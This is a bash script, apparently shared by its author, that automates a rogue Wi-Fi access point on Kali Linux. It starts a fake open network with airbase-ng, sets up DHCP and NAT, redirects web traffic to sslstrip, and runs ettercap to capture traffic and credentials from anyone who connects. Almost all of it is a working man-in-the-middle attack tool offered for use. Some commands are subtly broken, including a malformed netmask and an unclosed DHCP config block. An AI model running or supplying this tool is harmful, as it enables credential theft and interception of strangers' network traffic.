Rogue access point [automatic] kali linux

#coded by atulh4c
#changing name does not makes you coder
#automation in kali linux
#need to install kali linux tools for making it to work in other distros [ubuntu]
#should be in root mode

#configure dhcp server

# 1.apt-get install dhcp3-server
# 2.nano /etc/dhcpd.conf
# 3.paste below line in .conf file
#
#  authoritative;
#  default-lease-time 600;
#  max-lease-time 7200;
#  subnet 192.168.1.0 netmask 255.255.255.0 {
#  option routers 192.168.1.1;
#  option subnet-mask 255.255.255.0;
#  option domain-name "freewifi";
#  option domain-name-servers 192.168.1.1;
#  range 192.168.1.2 192.168.1.40;


# Colors
ESC_SEQ="\x1b["
COL_RESET=$ESC_SEQ"39;49;00m"
COL_RED=$ESC_SEQ"31;01m"
COL_GREEN=$ESC_SEQ"32;01m"
COL_YELLOW=$ESC_SEQ"33;01m"
COL_BLUE=$ESC_SEQ"34;01m"
COL_MAGENTA=$ESC_SEQ"35;01m"
COL_CYAN=$ESC_SEQ"36;01m"

echo -e "  $COL_RED           + ================ROUGH AP================+$COL_RESET"
echo -e "  $COL_BLUE          +            Created by atulh4c           +$COL_RESET"
echo -e "  $COL_RED           + ========================================+$COL_RESET"
echo ""
echo ""
echo "Need Root privilages"
echo ""
echo -e "$COL_YELLOW First you configure your DHCP server $COL_RESET"
echo ""
echo -e "$COL_YELLOW keep your interface in monitor mode using airmon-ng start <interface> $COL_RESET "
echo ""
echo -e "$COL_RED You may get error in creating airbase"
echo -e "Kill the process shown while setting interface in monitor mode$COL_RESET"
echo ""
echo ""
echo -e "$COL_BLUE Finding gatewayip address $COL_RESET"
sleep 3
echo ""
route -n
echo ""
echo -e "$COL_BLUE Enter the interface for monitor mode $COL_RESET"    #user input for monitor mode
read monitor

echo -e  "$COL_BLUE Enter gateway ip address $COL_RESET"
read gatewayip
echo ""
echo -e "$COL_BLUE Enter Your Internet Source Interface $COL_RESET"   #your internet source [eth0/wlan0../usb0/]
read internetsource
echo ""
echo -e "$COL_BLUE Creating airbase $COL_RESET"
sleep 1

gnome-terminal  -e "airbase-ng -c 11 -e opnewblood $monitor"

sleep 2

ifconfig at0 192.168.1.1 netmask 255.255.0
ifconfig at0 mtu 1400
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface $internetsource -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start

sleep 1

echo -e "$COL_BLUE Starting sslstrip at port 10000 $COL_RESET"
gnome-terminal -e "sslstrip -f -p -k 10000"

sleep 1
echo -e "$COL_BLUE Starting Ettercap $COL_RESET"
sleep 1
ettercap -p -u -T -q -i at0